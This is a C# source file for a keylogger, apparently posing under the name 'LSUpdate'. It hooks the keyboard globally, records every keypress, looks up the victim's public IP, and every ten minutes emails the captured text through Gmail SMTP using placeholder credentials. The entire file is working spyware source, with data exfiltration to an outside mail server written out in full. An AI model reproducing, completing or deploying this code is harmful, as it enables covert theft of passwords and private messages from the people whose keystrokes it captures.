﻿using System;
using System.IO;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net;
using System.Net.Mail;
using System.Threading;

namespace LSUpdate
{
    class Logger
    {
        private static StringBuilder data = new StringBuilder();
        private static System.Windows.Forms.Timer timer = new System.Windows.Forms.Timer();
        private static EventHandler timerHandler;

        //disable constructor
        private Logger()
        {
        }
        ~Logger()
        {
            stop();
        }

        public static void start()
        {
            timerHandler = new EventHandler(sendMail);
            timer.Tick += timerHandler;
            timer.Interval = 600000;
            timer.Start();

            globalKeyboardHook.setKeyboardCallback(storeKeypress);
            globalKeyboardHook.start();
        }
        public static void stop()
        {
            timer.Stop();
            globalKeyboardHook.stop();
        }

        private static string obtainWebIP()
        {
            WebClient client = new WebClient();
            string ip = client.DownloadString("http://ip.dnsexit.com/");
            client.Dispose();
            return ip;
        }
        private static void storeKeypress(string str)
        {
            data.Append(str);
        }
        private static void sendMail(Object sender, EventArgs e)
        {
            try
            {
                //build message
                MailMessage msg = new MailMessage();
                msg.To.Add("test");
                msg.From = new MailAddress("test", "test", System.Text.Encoding.UTF8);
                msg.Subject = "lsupdate";
                msg.SubjectEncoding = System.Text.Encoding.UTF8;
                msg.Body = obtainWebIP() + " " + data.ToString();
                msg.BodyEncoding = System.Text.Encoding.UTF8;
                msg.IsBodyHtml = false;
                msg.Priority = MailPriority.High;

                //use gmail to send msg
                SmtpClient client = new SmtpClient();
                client.Credentials = new NetworkCredential("test", "test");
                client.Port = 587;
                client.Host = "smtp.gmail.com";
                client.EnableSsl = true;
                client.Send(msg);

                msg.Dispose();
                client.Dispose();
            }
            catch
            {
                Thread.Sleep(1000);
            }

            data.Clear();
        }
    }
}
